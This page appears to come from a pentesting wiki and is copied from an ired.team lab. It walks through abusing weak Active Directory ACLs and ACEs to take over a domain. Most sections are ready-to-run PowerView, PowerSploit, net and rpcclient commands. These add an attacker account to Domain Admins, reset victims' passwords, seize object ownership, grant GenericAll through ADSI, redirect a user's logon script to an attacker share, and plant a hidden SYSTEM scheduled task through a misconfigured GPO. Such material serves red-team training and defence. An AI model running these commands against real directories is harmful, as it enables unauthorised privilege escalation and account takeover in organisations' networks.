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478 lines
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478 lines
20 KiB
Markdown
# Abusing Active Directory ACLs/ACEs
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## Abusing Active Directory ACLs/ACEs
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<details>
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</details>
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**This information was copied from** [**https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **because it's just perfect**
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## Context
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This lab is to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Acccess Control Entries (ACEs) that make up DACLs.
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Active Directory objects such as users and groups are securable objects and DACL/ACEs define who can read/modify those objects (i.e change account name, reset password, etc).
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An example of ACEs for the "Domain Admins" securable object can be seen here:
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.png>)
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Some of the Active Directory object permissions and types that we as attackers are interested in:
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* **GenericAll** - full rights to the object (add users to a group or reset user's password)
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* **GenericWrite** - update object's attributes (i.e logon script)
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* **WriteOwner** - change object owner to attacker controlled user take over the object
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* **WriteDACL** - modify object's ACEs and give attacker full control right over the object
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* **AllExtendedRights** - ability to add user to a group or reset password
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* **ForceChangePassword** - ability to change user's password
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* **Self (Self-Membership)** - ability to add yourself to a group
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In this lab, we are going to explore and try to exploit most of the above ACEs.
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## GenericAll on User
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Using powerview, let's check if our attacking user `spotless` has `GenericAll rights` on the AD object for the user `delegate`:
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```csharp
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Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
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```
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We can see that indeed our user `spotless` has the `GenericAll` rights, effectively enabling the attacker to take over the account:
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We can reset user's `delegate` password without knowing the current password:
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## GenericAll on Group
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Let's see if `Domain admins` group has any weak permissions. First of, let's get its `distinguishedName`:
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```csharp
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Get-NetGroup "domain admins" -FullData
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```
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```csharp
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Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}
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```
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We can see that our attacking user `spotless` has `GenericAll` rights once again:
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Effectively, this allows us to add ourselves (the user `spotless`) to the `Domain Admin` group:
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```csharp
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net group "domain admins" spotless /add /domain
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```
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Same could be achieved with Active Directory or PowerSploit module:
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```csharp
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# with active directory module
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Add-ADGroupMember -Identity "domain admins" -Members spotless
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# with Powersploit
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Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
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```
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## GenericAll / GenericWrite / Write on Computer
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If you have these privileges on a Computer object, you can pull [Kerberos **Resource-based Constrained Delegation**: Computer Object Take Over](resource-based-constrained-delegation.md) off.
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## WriteProperty on Group
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If our controlled user has `WriteProperty` right on `All` objects for `Domain Admin` group:
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We can again add ourselves to the `Domain Admins` group and escalate privileges:
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```csharp
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net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
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```
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## Self (Self-Membership) on Group
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Another privilege that enables the attacker adding themselves to a group:
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```csharp
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net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
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```
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## WriteProperty (Self-Membership)
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One more privilege that enables the attacker adding themselves to a group:
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```csharp
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Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
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```
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```csharp
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net group "domain admins" spotless /add /domain
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```
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## **ForceChangePassword**
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If we have `ExtendedRight` on `User-Force-Change-Password` object type, we can reset the user's password without knowing their current password:
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```csharp
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Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
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```
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Doing the same with powerview:
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```csharp
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Set-DomainUserPassword -Identity delegate -Verbose
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```
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Another method that does not require fiddling with password-secure-string conversion:
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```csharp
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$c = Get-Credential
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Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose
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```
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...or a one liner if no interactive session is not available:
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```csharp
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Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
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```
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and one last way yo achieve this from linux:
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```markup
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rpcclient -U KnownUsername 10.10.10.192
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> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
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```
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More info:
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* [https://malicious.link/post/2017/reset-ad-user-password-with-linux/](https://malicious.link/post/2017/reset-ad-user-password-with-linux/)
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* [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN)
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* [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c)
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## WriteOwner on Group
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Note how before the attack the owner of `Domain Admins` is `Domain Admins`:
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After the ACE enumeration, if we find that a user in our control has `WriteOwner` rights on `ObjectType:All`
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```csharp
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Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
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```
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...we can change the `Domain Admins` object's owner to our user, which in our case is `spotless`. Note that the SID specified with `-Identity` is the SID of the `Domain Admins` group:
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```csharp
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Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
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//You can also use the name instad of the SID (HTB: Reel)
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Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
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```
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## GenericWrite on User
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```csharp
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Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
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```
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`WriteProperty` on an `ObjectType`, which in this particular case is `Script-Path`, allows the attacker to overwrite the logon script path of the `delegate` user, which means that the next time, when the user `delegate` logs on, their system will execute our malicious script:
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```csharp
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Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
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```
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Below shows the user's ~~`delegate`~~ logon script field got updated in the AD:
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## WriteDACL + WriteOwner
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If you are the owner of a group, like I'm the owner of a `Test` AD group:
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Which you can of course do through powershell:
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```csharp
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([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value
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```
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And you have a `WriteDACL` on that AD object:
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...you can give yourself [`GenericAll`](../../windows/active-directory-methodology/broken-reference/) privileges with a sprinkle of ADSI sorcery:
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```csharp
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$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
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$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
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$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
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$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
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$ADSI.psbase.commitchanges()
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```
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Which means you now fully control the AD object:
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This effectively means that you can now add new users to the group.
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Interesting to note that I could not abuse these privileges by using Active Directory module and `Set-Acl` / `Get-Acl` cmdlets:
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```csharp
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$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
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$acl = Get-Acl -Path $path
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$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
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$acl.AddAccessRule($ace)
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Set-Acl -Path $path -AclObject $acl
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```
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## **Replication on the domain (DCSync)**
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The **DCSync** permission implies having these permissions over the domain itself: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** and **Replicating Directory Changes In Filtered Set**.\
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[**Learn more about the DCSync attack here.**](dcsync.md)
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## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
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Sometimes, certain users/groups may be delegated access to manage Group Policy Objects as is the case with `offense\spotless` user:
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We can see this by leveraging PowerView like so:
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```bash
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Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
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```
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The below indicates that the user `offense\spotless` has **WriteProperty**, **WriteDacl**, **WriteOwner** privileges among a couple of others that are ripe for abuse:
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[**More about general AD ACL/ACE abuse here.**](acl-persistence-abuse.md)
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### Abusing the GPO Permissions <a href="#abusing-the-gpo-permissions" id="abusing-the-gpo-permissions"></a>
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We know the above ObjectDN from the above screenshot is referring to the `New Group Policy Object` GPO since the ObjectDN points to `CN=Policies` and also the `CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}` which is the same in the GPO settings as highlighted below:
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If we want to search for misconfigured GPOs specifically, we can chain multiple cmdlets from PowerSploit like so:
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```bash
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Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
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```
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**Computers with a Given Policy Applied**
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We can now resolve the computer names the GPO `Misconfigured Policy` is applied to:
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```
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Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
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```
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**Policies Applied to a Given Computer**
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```
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Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName
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```
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**OUs with a Given Policy Applied**
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```
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Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName
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```
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**Abusing Weak GPO Permissions**
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One of the ways to abuse this misconfiguration and get code execution is to create an immediate scheduled task through the GPO like so:
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```
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New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
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```
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The above will add our user spotless to the local `administrators` group of the compromised box. Note how prior to the code execution the group does not contain user `spotless`:
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### Force Policy Update <a href="#force-policy-update" id="force-policy-update"></a>
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ScheduledTask and its code will execute after the policy updates are pushed through (roughly each 90 minutes), but we can force it with `gpupdate /force` and see that our user `spotless` now belongs to local administrators group:
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### Under the hood <a href="#under-the-hood" id="under-the-hood"></a>
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If we observe the Scheduled Tasks of the `Misconfigured Policy` GPO, we can see our `evilTask` sitting there:
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Below is the XML file that got created by `New-GPOImmediateTask` that represents our evil scheduled task in the GPO:
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{% code title="\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml" %}
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```markup
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<?xml version="1.0" encoding="utf-8"?>
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<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
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<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
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<Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
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<Task version="1.3">
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<RegistrationInfo>
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<Author>NT AUTHORITY\System</Author>
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<Description></Description>
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</RegistrationInfo>
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<Principals>
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<Principal id="Author">
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<UserId>NT AUTHORITY\System</UserId>
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<RunLevel>HighestAvailable</RunLevel>
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<LogonType>S4U</LogonType>
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</Principal>
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</Principals>
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<Settings>
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<IdleSettings>
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<Duration>PT10M</Duration>
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<WaitTimeout>PT1H</WaitTimeout>
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<StopOnIdleEnd>true</StopOnIdleEnd>
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<RestartOnIdle>false</RestartOnIdle>
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</IdleSettings>
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<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
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<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
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<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
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<AllowHardTerminate>false</AllowHardTerminate>
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<StartWhenAvailable>true</StartWhenAvailable>
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<AllowStartOnDemand>false</AllowStartOnDemand>
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<Enabled>true</Enabled>
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<Hidden>true</Hidden>
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<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
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<Priority>7</Priority>
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<DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
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<RestartOnFailure>
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<Interval>PT15M</Interval>
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<Count>3</Count>
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</RestartOnFailure>
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</Settings>
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<Actions Context="Author">
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<Exec>
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<Command>cmd</Command>
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<Arguments>/c net localgroup administrators spotless /add</Arguments>
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</Exec>
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</Actions>
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<Triggers>
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<TimeTrigger>
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<StartBoundary>%LocalTimeXmlEx%</StartBoundary>
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<EndBoundary>%LocalTimeXmlEx%</EndBoundary>
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<Enabled>true</Enabled>
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</TimeTrigger>
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</Triggers>
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</Task>
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</Properties>
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</ImmediateTaskV2>
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</ScheduledTasks>
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```
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{% endcode %}
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### Users and Groups <a href="#users-and-groups" id="users-and-groups"></a>
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The same privilege escalation could be achieved by abusing the GPO Users and Groups feature. Note in the below file, line 6 where the user `spotless` is added to the local `administrators` group - we could change the user to something else, add another one or even add the user to another group/multiple groups since we can amend the policy configuration file in the shown location due to the GPO delegation assigned to our user `spotless`:
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{% code title="\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups" %}
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```markup
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<?xml version="1.0" encoding="utf-8"?>
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<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
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<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
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<Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
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<Members>
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<Member name="spotless" action="ADD" sid="" />
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</Members>
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</Properties>
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</Group>
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</Groups>
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```
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{% endcode %}
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Additionally, we could think about leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.
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## References
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{% embed url="https://wald0.com/?p=112" %}
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{% embed url="https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2" %}
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{% embed url="https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/" %}
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{% embed url="https://adsecurity.org/?p=3658" %}
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{% embed url="https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_" %}
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